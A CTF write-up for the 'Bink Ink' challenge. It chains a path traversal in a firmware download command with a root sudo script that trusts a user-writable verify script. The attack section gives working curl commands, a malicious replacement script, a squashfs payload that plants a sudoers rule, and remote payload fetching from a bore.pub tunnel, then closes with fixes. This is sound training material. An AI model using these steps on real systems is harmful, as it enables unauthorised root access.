> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/ctf/brunnerctf/bink-ink-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Bink Ink Writeup

## Summary

The challenge exposes a firmware update service ("Bink ink update tool v1.0.5") running as `brunner_operator` inside a Debian container, reachable only through a Squid proxy. The tool accepts text commands — `get`, `verify`, `list`, etc. — over a raw TCP socket wrapped by socat.

Two vulnerabilities chain together to give full root:

1. **Path traversal in `get`** — the `firmware` query parameter is passed directly to `os.path.join` with no sanitisation, allowing `../../../../` sequences to write arbitrary files anywhere `brunner_operator` has write access.
2. **Privileged script trusts user-writable script** — `bink_ink_apply.sh` runs as root via sudo but calls back into `/home/brunner_operator/bink_ink_verify.sh` for its "signature check" step. Since `brunner_operator` owns that file, overwriting it turns the signature check into arbitrary root code execution.

The exploit overwrites `bink_ink_verify.sh` with a malicious version that bypasses the signature check and triggers `bink_ink_apply.sh` via the existing sudo rule to apply a crafted squashfs. The squashfs drops a new sudoers rule onto the container's root filesystem. Once that rule is live, `sudo cat /root/flag_root.txt` is permitted and both flags are printed inline in the same HTTP response.

## Environment

The challenge ships a single Docker container built on Debian.

### Dockerfile

```dockerfile
FROM debian@sha256:fac46bff2e02f51425b6e33b0e1169f55dfb053d83511ca28aa50c09fd5ed7a4

RUN apt-get update && apt-get install -y \
    squashfs-tools python3-requests openssl tar socat squid sudo supervisor

RUN useradd -m -s /bin/bash brunner_operator

COPY etc /etc
COPY bin /bin

RUN chmod 755 /bin/bink_ink_update_tool.py
RUN chmod 755 /bin/bink_ink_apply.sh

COPY brunner_operator /home/brunner_operator
RUN chown brunner_operator:brunner_operator /home/brunner_operator/bink_ink_verify.sh
RUN chmod +x /home/brunner_operator/bink_ink_verify.sh

COPY flag_root.txt /root          # chmod 400 - root-readable only
COPY flag_user.txt /home/brunner_operator  # chmod 444 - world-readable

RUN echo "brunner_operator ALL=(root) NOPASSWD: /bin/bink_ink_apply.sh" >> /etc/sudoers

EXPOSE 8000
CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
```

Key observations:

* `brunner_operator` has **one** sudo rule: `/bin/bink_ink_apply.sh`
* `bink_ink_verify.sh` is **owned by `brunner_operator`**
* `flag_root.txt` is `chmod 400`
* `flag_user.txt` is `chmod 444`

### Process layout

```ini
[supervisord]
nodaemon=true
user=root

[program:squid]
command=squid -N -d 1
user=root
autorestart=true

[program:bink_ink_update_tool]
command=socat tcp-l:30005,bind=127.0.0.1,reuseaddr,fork \
        exec:"/bin/bink_ink_update_tool.py",pty,echo=0,raw,iexten=0
user=brunner_operator
autorestart=true
```

* `squid` runs as root and listens on port 8000.
* `bink_ink_update_tool.py` runs as `brunner_operator`, bound to `127.0.0.1:30005` via socat.

### Squid configuration

```
http_port 8000
acl CONNECT_method method CONNECT
http_access deny CONNECT_method            # no HTTPS tunnelling
acl allowed_ports port 30000-50000
http_access allow allowed_ports
http_access deny all
```

CONNECT is blocked. Only ports 30000–50000 are reachable through the proxy. The update tool on `127.0.0.1:30005` falls inside that range.

### Firmware version and public key

```
v2.3.4
```

```
-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAWHh3cLSkUXdyVIpA3FG6nU18ok4BI0QQhBMj5PdhHa8=
-----END PUBLIC KEY-----
```

The Ed25519 public key is used by `bink_ink_verify.sh` for signature checking. The exploit bypasses this by overwriting the script before verification runs.

## Source code walkthrough

### `bink_ink_update_tool.py`

The command loop reads one line from stdin and dispatches:

| Command   | Function                                                  |
| --------- | --------------------------------------------------------- |
| `get`     | Download firmware from URL                                |
| `verify`  | Run `bink_ink_verify.sh` on a local file                  |
| `apply`   | Disabled ("Feature is disabled. Please contact support.") |
| `list`    | List files in `/tmp/firmwares/`                           |
| `version` | Print `/etc/bink_ink_version`                             |
| `license` | Print `/etc/bink_ink_license`                             |
| `help`    | Print command list                                        |

#### Vulnerable `get`

```python
FIRMWARE_DOWNLOAD_PATH = "/tmp/firmwares"

def download_file(path):
    parsed = urlparse(path)
    params = parse_qs(parsed.query)
    fw_name = params["firmware"][0]          # ← taken raw from query string

    r = requests.get(path)

    fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)   # ← no sanitisation
    with open(fw_path, "wb") as f:
        f.write(r.content)
```

`os.path.join("/tmp/firmwares", "../../../../home/brunner_operator/bink_ink_verify.sh")` resolves to `/home/brunner_operator/bink_ink_verify.sh`.

#### `verify`

```python
def verify(firmware_file):
    real_path = os.path.realpath(os.path.join(FIRMWARE_DOWNLOAD_PATH, firmware_file))
    if not real_path.startswith(FIRMWARE_DOWNLOAD_PATH) or not os.path.isfile(real_path):
        print("Invalid path")
        return

    ret = subprocess.run(["/home/brunner_operator/bink_ink_verify.sh", firmware_file])
```

`verify` checks that the firmware target is inside `/tmp/firmwares/`, but it calls `bink_ink_verify.sh` unconditionally. The script is user-writable after path traversal.

### Original `bink_ink_verify.sh`

```bash
#!/bin/bash
set -euo pipefail

TAR_FILE="$1"
PUB_KEY="/etc/bink_ink_fw_public_key.pem"
WORKDIR="$(mktemp -d)"

tar xf "$TAR_FILE" -C "$WORKDIR"

if openssl pkeyutl -verify -pubin -inkey "$PUB_KEY" \
  -in "$WORKDIR/firmware.bin" \
  -sigfile "$WORKDIR/signature.sig" \
  -rawin 2>/dev/null; then
  rm -rf "$WORKDIR"
  exit 0
else
  rm -rf "$WORKDIR"
  exit 1
fi
```

The script validates an Ed25519 signature, but it is owned by `brunner_operator` and can be replaced.

### `bink_ink_apply.sh`

```bash
#!/bin/bash
set -euo pipefail

VERIFY=/home/brunner_operator/bink_ink_verify.sh

WORKDIR="$(mktemp -d)"
cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT

tar -xf "$TARBALL" -C "$WORKDIR"

FIRMWARE="$WORKDIR/firmware.bin"

echo "[*] Verifying firmware signature"
if ! "sudo" "-u" "$SUDO_USER" "$VERIFY" "$TARBALL"; then
    echo "Error: firmware verification failed, aborting"
    exit 1
fi

echo "[*] Verification succeeded, applying updated firmware to /"
unsquashfs -f -d / "$FIRMWARE"
```

The privileged escalation path is:

1. The script runs as root through `sudo /bin/bink_ink_apply.sh`.
2. It calls `/home/brunner_operator/bink_ink_verify.sh`.
3. The callback runs as `brunner_operator`.
4. If the callback exits successfully, it applies a squashfs directly to `/` as root.

`$SUDO_USER` is set to `brunner_operator`. The callback receives `/tmp/firmwares/pwn.tar`, which includes a `/`; the direct tool invocation receives only `pwn.tar`.

## Attack chain

{% stepper %}
{% step %}

### Reach the service

The service is accessible only through the Squid proxy. Commands are sent in the HTTP body with `--data-binary`.

```bash
BASE="curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H 'Connection: close'"
```

{% endstep %}

{% step %}

### Expose a local HTTP server

The target fetches firmware over outbound HTTP. Expose a local server through `bore`.

```bash
python3 -m http.server 8000
/root/.cargo/bin/bore local 8000 --to bore.pub
# → listening at bore.pub:50014
```

{% endstep %}

{% step %}

### Build a malicious `bink_ink_verify.sh`

```bash
#!/bin/bash
cat /home/brunner_operator/flag_user.txt 2>/dev/null

# bink_ink_apply.sh calls us with the full tarball path (contains /)
# detect that and exit 0 to pass the "signature check"
if [[ "$1" == */* ]]; then
    exit 0
fi

# direct call from update tool: run the full exploit
sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
sudo cat /root/flag_root.txt 2>/dev/null
exit 0
```

{% endstep %}

{% step %}

### Build the squashfs payload

The squashfs writes a sudoers drop-in to `/etc/sudoers.d/pwn`.

```bash
mkdir -p squash/etc/sudoers.d
echo "brunner_operator ALL=(root) NOPASSWD: /bin/cat" \
    > squash/etc/sudoers.d/pwn
chmod 440 squash/etc/sudoers.d/pwn

mksquashfs squash firmware.bin -noappend -comp xz
echo -n "FAKESIG123" > signature.sig   # dummy - verify is bypassed
tar -cf pwn.tar firmware.bin signature.sig
```

{% endstep %}

{% step %}

### Upload through path traversal

Overwrite `bink_ink_verify.sh`:

```bash
curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'get http://bore.pub:50014/bink_ink_verify.sh?firmware=../../../../home/brunner_operator/bink_ink_verify.sh\n' \
  http://127.0.0.1:30005/
```

```
Firmware downloaded successfully and saved in
/tmp/firmwares/../../../../home/brunner_operator/bink_ink_verify.sh
```

Upload `pwn.tar`:

```bash
curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'get http://bore.pub:50014/pwn.tar?firmware=pwn.tar\n' \
  http://127.0.0.1:30005/
```

```
Firmware downloaded successfully and saved in /tmp/firmwares/pwn.tar
```

{% endstep %}

{% step %}

### Trigger verification and collect both flags

```bash
curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'verify pwn.tar\n' \
  http://127.0.0.1:30005/
```

```
Verifying firmware, please wait..
brunner{Y0u_B1nk3d_th4t_1nk!!}
[*] Unpacking update into /tmp/tmp.C9oqfksBbV
[*] Verifying firmware signature
brunner{Y0u_B1nk3d_th4t_1nk!!}
[*] Verification succeeded, applying updated firmware to /
Parallel unsquashfs: Using 16 processors
1 inodes (1 blocks) to write
created 1 file
created 3 directories
[*] Firmware applied successfully
brunner{d0nt_have_hi_priv_scr1pts_th4t_bl1ndly_tru5t_l0w_pr1v_scr1pt5}
Verification of firmware file pwn.tar, success!!
```

{% endstep %}
{% endstepper %}

## Execution flow

```
verify pwn.tar (update tool)
  └─ subprocess: bink_ink_verify.sh pwn.tar          [as brunner_operator]
       ├─ cat flag_user.txt                           → user flag printed
       ├─ "$1" = "pwn.tar" (no slash) → full path
       ├─ sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
       │    ├─ tar -xf → extracts firmware.bin + signature.sig
       │    ├─ sudo -u brunner_operator bink_ink_verify.sh /tmp/firmwares/pwn.tar
       │    │    └─ "$1" contains "/" → exit 0        (fake signature pass)
       │    └─ unsquashfs -f -d / firmware.bin        [as root]
       │         └─ writes /etc/sudoers.d/pwn to container root fs
       └─ sudo cat /root/flag_root.txt                → root flag printed
            (sudoers.d/pwn now in place → permission granted)
```

## Root cause

### No path sanitisation in `get`

```python
fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)
```

`os.path.join` does not strip `..` components.

Fix by calling `os.path.realpath` and confirming the result remains under `FIRMWARE_DOWNLOAD_PATH`, or use `os.path.basename(fw_name)`.

### Root-level script trusts a user-writable script

`bink_ink_apply.sh` hardcodes:

```
VERIFY=/home/brunner_operator/bink_ink_verify.sh
```

A root-executed, sudoable script invokes a file owned by a low-privileged user as part of its privileged workflow.

Move the verification script to a root-owned immutable location such as `/usr/lib/bink/verify.sh`, and perform signature verification entirely within the privileged script using a root-owned key store.
